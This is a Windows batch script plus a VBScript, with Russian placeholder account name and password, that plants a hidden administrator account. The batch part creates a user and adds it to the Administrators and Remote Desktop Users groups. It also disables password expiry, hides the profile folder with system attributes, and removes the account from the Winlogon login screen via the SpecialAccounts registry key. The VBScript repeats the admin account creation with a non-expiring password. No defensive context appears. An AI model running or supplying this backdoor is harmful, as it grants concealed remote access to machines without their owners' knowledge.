echo Add an account "ЛОГИН" with a Password "ПАРОЛЬ"
Set AdmGroupSID=S-1-5-32-544
Set AdmGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%AdmGroupSID%'" Get Name /Value ^| Find "="`) Do Set AdmGroup=%%J
Set AdmGroup=%AdmGroup:~0,-1%
echo Adding to our account in "Administrators" group
net user ЛОГИН ПАРОЛЬ /add
net localgroup %AdmGroup% ЛОГИН /add
Set RDPGroupSID=S-1-5-32-555
Set RDPGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%RDPGroupSID%'" Get Name /Value ^| Find "="`) Do Set RDPGroup=%%J
Set RDPGroup=%RDPGroup:~0,-1%
echo Adding to our account in "Remote desktop users" group
net localgroup "%RDPGroup%" ЛОГИН /add
echo Remove password expiration
net accounts /maxpwage:unlimited
echo If the folder does not exist yet, create it
mkdir "C:\Documents and Settings\ЛОГИН"
echo And put on her attribute "system"
attrib +s +a +r +h "C:\Documents and Settings\ЛОГИН"
echo Hide the account from the Winlogon
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ЛОГИН /t REG_DWORD /d 0 /f

Set objNetwork = CreateObject("WScript.Network")
strComputer = objNetwork.ComputerName

Set colAccounts = GetObject("WinNT://" & strComputer & "")
Set objUser = colAccounts.Create("user", "Логин")
objUser.SetPassword "Пароль"
objUser.SetInfo

Set objGroup = GetObject("WinNT://" & strComputer & "/Администраторы,group")
Set objUser = GetObject("WinNT://" & strComputer & "/Логин,user")
objGroup.Add(objUser.ADsPath)

Const ADS_UF_DONT_EXPIRE_PASSWD = &h10000
UserFlags = objUser.Get("UserFlags")
objPasswordExpirationFlag = UserFlags OR ADS_UF_DONT_EXPIRE_PASSWD
objUser.Put "userFlags", objPasswordExpirationFlag
objUser.SetInfo